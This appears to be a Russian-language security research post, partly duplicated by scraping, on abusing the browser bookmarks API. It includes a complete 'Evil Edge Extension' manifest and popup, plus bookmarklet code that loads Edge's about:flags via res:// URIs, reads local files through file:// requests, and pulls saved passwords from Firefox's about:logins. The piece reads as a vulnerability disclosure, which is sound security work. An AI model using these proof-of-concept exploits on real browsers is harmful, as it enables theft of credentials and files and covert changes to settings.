Некоторое время назад я решил взглянуть на bookmarks API , доступный для расширений браузера. Этот API интересен для меня, потому что он позволяет играть с пользовательскими закладками, используя расширения браузера.
Если вы хотите узнать, как работают расширения и разрешения, посмотрите первую часть моего
Для работы с bookmarks API расширению браузера требуется разрешение делать закладки, прописанное в
Давайте создадим
manifest.json
Далее давайте создадим всплывающий файл по умолчанию, как определено в manifest файле
popup.html
Давайте снова определим файл JS и создадим простую закладку в браузере
Теперь интересно то, что большинству браузеров разрешено создавать букмарклеты, используя расширения браузера.
Букмарклет - это закладка, хранящаяся в веб-браузере и содержащая команды JavaScript. Основное назначение букмарклетов - всегда добавлять дополнительные функции в браузер.
Например, простое предупреждение, чтобы получить первый URL-адрес с текущей страницы
Разработчики браузеров достаточно умны, предоставляя так много функций, но что может пойти не так при таком подходе?
Помните ли вы о привилегированных страницах в браузерах, которые содержат так много конфиденциальной информации и настроек? который должен быть защищен от выполнения кода JavaScript
Как я упоминал в моем предыдущем посте, если вы попытаетесь напрямую загрузить
Но у нас есть другие способы загрузки about: flags с использованием
ok, это у нас хорошо получилось и это приводит к еще одной уязвимости повышения привилегий в Edge, и, следовательно, мы можем изменить настройки в
Включение / отключение Adobe Flash Player
Кража учетных данных пользователя в Firefox
Так как Edge не применяет SOP для файловых URI, поэтому, если открыты какие-либо локальные файлы, то зловредная закладка может украсть любые файлы из системы.
Далее, давайте проверим и другие браузеры. В Firefox мы можем запускать букмарклеты со ссылкой на следующие страницы.
Кража учетных данных пользователя в Firefox
В Firefox
Изменение настроек других расширений
В Firefox мы можем даже изменить настройки, связанные с другими установленными расширениями. Можете ли вы представить себе ситуацию, когда одно расширение в браузере может отключить функции другого?
Согласно моим тестам, Chrome защищен от этой уязвимости, поскольку он не допускает никаких закладок на привилегированных страницах.
Закладки также синхронизируются с другими подключенными устройствами, принадлежащими к той же учетной записи, что является другим возможным источником атаки.
Если вы хотите узнать, как работают расширения и разрешения, посмотрите первую часть моего
Ссылка скрыта от гостей
поста Для работы с bookmarks API расширению браузера требуется разрешение делать закладки, прописанное в
manifest
файле.Давайте создадим
manifest
файл , который имеет только разрешение на создание закладок, а это означает, что расширение сможет создавать, удалять и обновлять закладки только для исполнения кодов JavaScript.manifest.json
JSON:
{
"name": "Evil Edge Extension",
"author": "@C0d3G33k",
"description": "This Extension achive evil things!",
"version": "1.0",
"icons": {
"25": "images/color-changer25.png",
"48": "images/color-changer48.png"
},
"permissions": [
"bookmarks"
],
"browser_action": {
"default_icon": {
"20": "images/color-changer20.png",
"40": "images/color-changer40.png"
},
"default_title": "Evil Extension",
"default_popup": "popup.html"
},
"content_scripts": [{
"matches": [
"<all_urls>"
],
"js": ["js/content.js"],
"run_at": "document_end"
}],
"background": {
"scripts": ["/js/background.js"],
"persistent": true
}
}
Далее давайте создадим всплывающий файл по умолчанию, как определено в manifest файле
popup.html
HTML:
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" type="text/css" href="css/styles.css" />
</head>
<body>
<p>Evil Extension</p>
<input id="b1" type="button" value="Open" />
<input id="b2" type="button" value="Execute" />
<script src="js/popup.js"></script>
</body>
</html>
Давайте снова определим файл JS и создадим простую закладку в браузере
JavaScript:
let open = document.getElementById('b1');
let execute = document.getElementById('b2');
open.onclick = function() {
browser.tabs.update ({
url: "https://www.google.com/"
});
};
execute.onclick = function() {
browser.bookmarks.create({
title: "Google!",
url: "https://www.google.com"
});
};
Ссылка скрыта от гостей
Теперь интересно то, что большинству браузеров разрешено создавать букмарклеты, используя расширения браузера.
Букмарклет - это закладка, хранящаяся в веб-браузере и содержащая команды JavaScript. Основное назначение букмарклетов - всегда добавлять дополнительные функции в браузер.
Например, простое предупреждение, чтобы получить первый URL-адрес с текущей страницы
JavaScript:
execute.onclick = function() {
browser.bookmarks.create({
title: "Display first link!",
url: "javascript:alert(document.getElementsByTagName('a')[0].href);"
});
};
Ссылка скрыта от гостей
Разработчики браузеров достаточно умны, предоставляя так много функций, но что может пойти не так при таком подходе?
Помните ли вы о привилегированных страницах в браузерах, которые содержат так много конфиденциальной информации и настроек? который должен быть защищен от выполнения кода JavaScript
Как я упоминал в моем предыдущем посте, если вы попытаетесь напрямую загрузить
about:flags
в edge и попытаться выполнить букмарклеты, это не сработает.
Ссылка скрыта от гостей
Но у нас есть другие способы загрузки about: flags с использованием
res://
URI, например res: //edgehtml.dll/flags.htm
. Итак, давайте изменим наш код и попробуем снова
JavaScript:
let open = document.getElementById('b1');
let execute = document.getElementById('b2');
// to load about:flags
open.onclick = function() {
browser.tabs.update ({
url: "res://edgehtml.dll/flags.htm"
});
};
// to create bookmark
execute.onclick = function() {
browser.bookmarks.create({
title: "Evil BookMark!",
url: "javascript:alert(window.location.href);"
});
};
Ссылка скрыта от гостей
ok, это у нас хорошо получилось и это приводит к еще одной уязвимости повышения привилегий в Edge, и, следовательно, мы можем изменить настройки в
about:flags,
например:Включение / отключение Adobe Flash Player
JavaScript:
let open = document.getElementById('b1');
let execute = document.getElementById('b2');
// to load about:flags
open.onclick = function() {
browser.tabs.update ({
url: "res://edgehtml.dll/flags.htm"
});
};
// to toggle adobe flash player flag
execute.onclick = function() {
browser.bookmarks.create({
title: "Evil BookMark!",
url: "javascript:document.getElementById('BchostLocalhostLoopback').click();"
});
};
Ссылка скрыта от гостей
Кража учетных данных пользователя в Firefox
Так как Edge не применяет SOP для файловых URI, поэтому, если открыты какие-либо локальные файлы, то зловредная закладка может украсть любые файлы из системы.
JavaScript:
execute.onclick = function() {
browser.bookmarks.create({
title: "Evil BookMark!!!!",
url: "javascript:let xhr = new XMLHttpRequest();xhr.open('GET','file:///C:/Users/reach/Desktop/test.txt');xhr.send();setTimeout('alert(xhr.response)',3000)"
});
};
Далее, давайте проверим и другие браузеры. В Firefox мы можем запускать букмарклеты со ссылкой на следующие страницы.
Код:
about:certificate
about:compat
about:library
about:logins
about:home
about:privatebrowsing
about:protections
about:studies
about:welcome
Кража учетных данных пользователя в Firefox
В Firefox
about:logins
содержит все сохраненные пароли, так как мы можем выполнить ссылку на код JavaScript, мы можем легко украсть все сохраненные логины, давайте изменим код и проверим.
JavaScript:
execute.onclick = function() {
browser.bookmarks.create({
title: "Evil BookMark!",
url: "javascript:alert(document.all[30]._passwordInput.value)"
});
};
Ссылка скрыта от гостей
Изменение настроек других расширений
В Firefox мы можем даже изменить настройки, связанные с другими установленными расширениями. Можете ли вы представить себе ситуацию, когда одно расширение в браузере может отключить функции другого?
Ссылка скрыта от гостей
Согласно моим тестам, Chrome защищен от этой уязвимости, поскольку он не допускает никаких закладок на привилегированных страницах.
Закладки также синхронизируются с другими подключенными устройствами, принадлежащими к той же учетной записи, что является другим возможным источником атаки.
Ссылка скрыта от гостей